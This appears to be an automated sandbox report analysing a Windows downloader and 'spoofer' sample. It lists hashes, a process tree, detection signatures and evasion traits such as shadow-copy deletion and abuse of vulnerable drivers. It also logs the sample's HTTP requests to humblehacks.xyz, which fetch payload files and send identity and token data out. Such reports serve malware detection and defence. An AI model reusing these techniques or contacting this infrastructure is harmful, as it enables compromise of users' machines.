Edit tour

Windows Analysis Report
aYu936prD4.exe

Overview

General Information

Sample name:	aYu936prD4.exe renamed because original name is a hash value
Original sample name:	610d0db5d146f16caad2482b11c22d30.exe
Analysis ID:	1581894
MD5:	610d0db5d146f16caad2482b11c22d30
SHA1:	89132d1efee95a7a63980f1479bb40f72fc273da
SHA256:	8bdcd45ef7b2635fcae54376a03b803354dec1e97d9e2011e935f4ee72c3c92f
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	93
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Deletes shadow drive data (may be related to ransomware)

Drops executables to the windows directory (C:\Windows) and starts them

Found direct / indirect Syscall (likely to bypass EDR)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Tries to detect debuggers (CloseHandle check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to evade analysis by execution special instruction (VM detection)

Yara detected BatToExe compiled binary

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

aYu936prD4.exe (PID: 7096 cmdline: "C:\Users\user\Desktop\aYu936prD4.exe" MD5: 610D0DB5D146F16CAAD2482B11C22D30)

ESCore.exe (PID: 6164 cmdline: C:\Windows\System32\ESCore.exe chkdrv MD5: 6A8261CF7AFD1FCFE67BF3FF0A77A328)

conhost.exe (PID: 4160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5296 cmdline: C:\Windows\system32\cmd.exe /c Updater.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 3496 cmdline: timeout /t 5 MD5: 100065E21CFBBDE57CBA2838921F84D6)

VivianSpoofer.exe (PID: 1680 cmdline: VivianSpoofer.exe MD5: 48DE217B20FEEF7FBD491904885FADE9)

ESCore.exe (PID: 5952 cmdline: C:\Windows\System32\ESCore.exe chkdrv MD5: 689211E5BDAC447C2F016BFBAD0B8CFE)

conhost.exe (PID: 6640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ESCore.exe (PID: 3200 cmdline: C:\Windows\System32\ESCore.exe reg Username Token MD5: 689211E5BDAC447C2F016BFBAD0B8CFE)

conhost.exe (PID: 3752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ESCore.exe (PID: 516 cmdline: C:\Windows\System32\ESCore.exe clr MD5: 689211E5BDAC447C2F016BFBAD0B8CFE)

conhost.exe (PID: 4092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
aYu936prD4.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
aYu936prD4.exe	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\UpdatePackage.dat	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\Desktop\UpdatePackage.dat	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.3928586010.000001F249871000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0000000C.00000000.2596961641.000001F22C07A000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
00000000.00000000.2026487790.000002C2D637A000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security

Unpacked PEs

Source	Rule	Description	Author
12.0.VivianSpoofer.exe.1f22c6aac60.1.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.2.VivianSpoofer.exe.1f249ea1dc0.2.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.2.VivianSpoofer.exe.1f249ea1dc0.2.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.0.aYu936prD4.exe.2c2d69ff9ba.4.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.0.VivianSpoofer.exe.1f22c6ca2d5.2.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.2.VivianSpoofer.exe.1f249ec1435.9.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.0.aYu936prD4.exe.2c2d69ff9ba.4.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.0.VivianSpoofer.exe.1f22c6aac60.1.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.0.aYu936prD4.exe.2c2d6a1f02f.2.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.0.aYu936prD4.exe.2c2d63a3868.5.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.2.VivianSpoofer.exe.1f24989ad4f.4.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.0.VivianSpoofer.exe.1f22c0a3bef.4.raw.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.2.VivianSpoofer.exe.1f2496f0000.3.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.0.VivianSpoofer.exe.1f22c0a3bef.4.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.2.VivianSpoofer.exe.1f24989ad4f.4.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
0.0.aYu936prD4.exe.2c2d63a3868.5.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
12.0.VivianSpoofer.exe.1f22bde0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.0.VivianSpoofer.exe.1f22bde0000.0.unpack	JoeSecurity_BatToExe	Yara detected BatToExe compiled binary	Joe Security
Click to see the 13 entries

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ET MALWARE PECompact2 Packed Binary - Sometimes Hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T09:04:41.701725+0100	2008547	1	A Network Trojan was detected	92.205.3.41	443	192.168.2.5	49710	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T09:04:26.978973+0100	2803305	3	Unknown Traffic	192.168.2.5	49710	92.205.3.41	443	TCP
2024-12-29T09:05:20.825844+0100	2803305	3	Unknown Traffic	192.168.2.5	49814	92.205.3.41	443	TCP
2024-12-29T09:05:22.827654+0100	2803305	3	Unknown Traffic	192.168.2.5	49820	92.205.3.41	443	TCP
2024-12-29T09:05:41.417867+0100	2803305	3	Unknown Traffic	192.168.2.5	49865	92.205.3.41	443	TCP
2024-12-29T09:05:43.388013+0100	2803305	3	Unknown Traffic	192.168.2.5	49869	92.205.3.41	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T09:05:32.907359+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49841	92.205.3.41	443	TCP
2024-12-29T09:05:34.927077+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49848	92.205.3.41	443	TCP
2024-12-29T09:05:36.870709+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49854	92.205.3.41	443	TCP
2024-12-29T09:05:38.980324+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49859	92.205.3.41	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: aYu936prD4.exe	Virustotal: Detection: 48%			Perma Link
Source: aYu936prD4.exe	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.5% probability

Machine Learning detection for dropped file

Source: C:\Windows\System32\ESCore.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\UpdatePackage.dat	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: aYu936prD4.exe

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.5:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.5:49841 version: TLS 1.2

Source: aYu936prD4.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: atapi.pdbGCTL source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: VivianSpoofer.exe, 0000000C.00000002.3921936993.000001F2476F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\ycc\gdrv64\objfre_wnet_AMD64\amd64\gdrv64.pdb! source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: bthmini.pdbGCTL source: ESCore.exe, 0000000E.00000002.2687121846.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014005C000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: u.PDb{Kb source: ESCore.exe.0.dr, UpdatePackage.dat.0.dr
Source:	Binary string: mscorlib.pdb source: VivianSpoofer.exe, 0000000C.00000002.3922225419.000001F24776D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: atapi.pdb source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Windows.Forms.pdbt source: VivianSpoofer.exe, 0000000C.00000002.3921936993.000001F2476F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bthmini.pdb source: ESCore.exe, 0000000E.00000002.2687121846.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014005C000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\Wreko\Desktop\SinDriverExample\Output\Test.pdb source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: F:\Other driver 12-03-2020\Cod Source\COD_Cleanup\x64\Release\COD_Cleanup.pdb@ source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: c:\users\cloudbuild\337244\sdk\nal\src\winnt_wdm\driver\objfre_wnet_AMD64\amd64\iqvw64e.pdb source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: f:\ycc\gdrv64\objfre_wnet_AMD64\amd64\gdrv64.pdb source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\Dyaa\source\repos\spr\x64\Release\homie.pdb source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: C:\Users\Dyaa\source\repos\UpdateEnforcer\obj\x64\Release\UpdateEnforcer.pdb source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: e:\work\dangerzone\flashdriverwin64\Release\amd64\amifldrv64.pdb source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: F:\Other driver 12-03-2020\Cod Source\COD_Cleanup\x64\Release\COD_Cleanup.pdb source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2008547 - Severity 1 - ET MALWARE PECompact2 Packed Binary - Sometimes Hostile : 92.205.3.41:443 -> 192.168.2.5:49710

Performs DNS queries to domains with low reputation

Source:

DNS query: humblehacks.xyz

Yara detected Generic Downloader

Source: Yara match	File source: aYu936prD4.exe, type: SAMPLE
Source: Yara match	File source: 12.0.VivianSpoofer.exe.1f22bde0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\Desktop\UpdatePackage.dat, type: DROPPED

Source: global traffic	HTTP traffic detected: GET /patch/Vivian/patch.txt HTTP/1.1Host: humblehacks.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /patch/Vivian/UpdatePackage.dat HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /patch/Vivian/patch.txt HTTP/1.1Host: humblehacks.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1Host: humblehacks.xyz

Source: Joe Sandbox View

ASN Name: GD-EMEA-DC-SXB1DE GD-EMEA-DC-SXB1DE

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49710 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49820 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49814 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49848 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49865 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49869 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49854 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49841 -> 92.205.3.41:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49859 -> 92.205.3.41:443

Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=11 HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20ken%20:%2023%20GLO10%20:%2020251300%20TOKENS%20:%20kenT%20:%20Token%20GLO10T%20:%20962997-45B26E-A20GLO10SUS_DUR%20:%20N/AHRESETS%20:N/A&oldhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20GLO10%20:%2020251300%20TOKENS%20:%20GLO10T%20:%20962997-45B26E-A20GLO10%20SUS_DUR%20:%20N/A%20HRESETS%20:%20N/A&nd=Token%20:%20Token%20Period%20: HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /patch/Vivian/patch.txt HTTP/1.1Host: humblehacks.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /patch/Vivian/UpdatePackage.dat HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /patch/Vivian/patch.txt HTTP/1.1Host: humblehacks.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=11 HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20ken%20:%2023%20GLO10%20:%2020251300%20TOKENS%20:%20kenT%20:%20Token%20GLO10T%20:%20962997-45B26E-A20GLO10SUS_DUR%20:%20N/AHRESETS%20:N/A&oldhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20GLO10%20:%2020251300%20TOKENS%20:%20GLO10T%20:%20962997-45B26E-A20GLO10%20SUS_DUR%20:%20N/A%20HRESETS%20:%20N/A&nd=Token%20:%20Token%20Period%20: HTTP/1.1User-Agent: Mozilla/5.0Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1Host: humblehacks.xyz
Source: global traffic	HTTP traffic detected: GET /Aut.php?auth=10 HTTP/1.1Host: humblehacks.xyz

Source: global traffic

DNS traffic detected: DNS query: humblehacks.xyz

Source: UpdatePackage.dat.0.dr	String found in binary or memory: http://aia.trustasia.com/ca.cer0
Source: UpdatePackage.dat.0.dr	String found in binary or memory: http://aia.trustasia.com/code.cer0
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl.thawte.com/ThawtePCA.crl0
Source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: UpdatePackage.dat.0.dr	String found in binary or memory: http://crl.trustasia.com/ca.crl0;
Source: UpdatePackage.dat.0.dr	String found in binary or memory: http://crl.trustasia.com/code.crl0=
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 0000000E.00000002.2687121846.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cs-g2-crl.thawte.com/ThawteCSG2.crl0
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://grc.comX
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0H
Source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0I
